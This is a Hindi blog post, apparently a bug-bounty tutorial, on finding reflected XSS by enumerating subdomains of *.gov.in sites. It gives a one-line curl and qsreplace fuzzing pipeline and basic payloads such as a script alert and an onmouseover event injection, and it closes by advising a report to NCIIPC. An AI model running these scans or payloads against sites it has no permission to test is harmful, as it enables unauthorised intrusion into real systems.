यह ब्लॉग आपको किसी भी वेब एप्लिकेशन में सभी कमजोर पैरामीटर खोजने में मदद करेगा। यह आपको यह भी सिखाएगा कि किसी भी वेबसाइट पर जाकर XSS और SQLI जैसी कमजोरियों का फायदा कैसे उठाया जाए।

परावर्तित XSS क्या है:

परावर्तित क्रॉस-साइट स्क्रिप्टिंग (या XSS) एक सुरक्षा भेद्यता है जो तब होती है जब कोई एप्लिकेशन HTTP अनुरोध में डेटा प्राप्त करता है और इसे ठीक से फ़िल्टर किए बिना और इसे साफ किए बिना प्रतिक्रिया के भीतर संग्रहीत करता है।

चलो कदम दर कदम चलते हैं:

डोमेन का चयन करें: *.gov.in

चरण 1: चयनित डोमेन के अंतर्गत सभी संभव उपडोमेन खोजें

चरण 2: किसी एक उपडोमेन का चयन करें

चरण 3: पैरामस्पाइडर जैसे टूल का उपयोग करके सभी संभावित मापदंडों का पता लगाएं

चरण 4: विशेष वर्णों को प्रत्यक्ष रूप से दर्शाने वाले सभी url की जाँच करें।

स्वचालित करने के लिए, नीचे दी गई स्क्रिप्ट का उपयोग करें:

cat urls.txt| egrep -iv ".(jpg|jpeg|js|css|gif|tif|tiff|png|woff|woff2|ico|pdf|svg|txt)" | qsreplace '"><()'| tee combinedfuzz.json && cat combinedfuzz.json | while read host do ; do curl --silent --path-as-is --insecure "$host" | grep -qs "\"><()" && echo -e "$host \033[91m Vullnerable \e[0m \n" || echo -e "$host  \033[92m Not Vulnerable \e[0m \n"; done | tee XSS.txt

      
                

                    
                    
                
            

चरण 5: इसे अभी मैन्युअल रूप से आज़माएं:

आइए बुनियादी XSS पेलोड का प्रयास करें:

"><script>alert(1);</script>

कोई पॉप-अप नहीं:

हमें शुरू से करना चाहिए:

बस इसके साथ प्रयास करें: एकल उद्धरण

'

      
                

                    
                    
                
            

अब कुछ घटनाओं के साथ प्रयास करें:

' onmouseover=alert(1);>

      
                

                    
                    
                
            

आइए स्रोत कोड देखें:

हमें XSS मिला, अब NCIIPC को रिपोर्ट करें

संपर्क:

https://www.linkedin.com/in/prince-prafull-19a477194/